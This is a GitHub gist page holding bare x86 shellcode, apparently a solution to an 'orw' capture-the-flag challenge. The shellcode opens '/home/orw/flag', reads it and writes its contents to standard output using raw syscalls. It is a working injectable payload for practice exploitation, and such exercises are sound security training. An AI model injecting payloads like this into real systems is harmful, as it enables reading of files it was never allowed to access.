Skip to content

Instantly share code, notes, and snippets.

@MtucX
Created February 25, 2017 15:01
Show Gist options
  • Save MtucX/4ae8f93fde1e9d1ddddccd94d0fd6a0d to your computer and use it in GitHub Desktop.
Save MtucX/4ae8f93fde1e9d1ddddccd94d0fd6a0d to your computer and use it in GitHub Desktop.
_start:
xor eax, eax
xor ecx, ecx
xor edx, edx
push eax
push 'flag'
push 'orw/'
push 'ome/'
push '///h'
mov ebx, esp
mov al, 0x5
int 0x80
sub esp, 0x40
mov dl, 0x40
mov ecx, esp
mov ebx, eax
push 0x3
pop eax
int 0x80
push 0x1
mov edx, eax
pop ebx
mov al, 0x4
int 0x80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment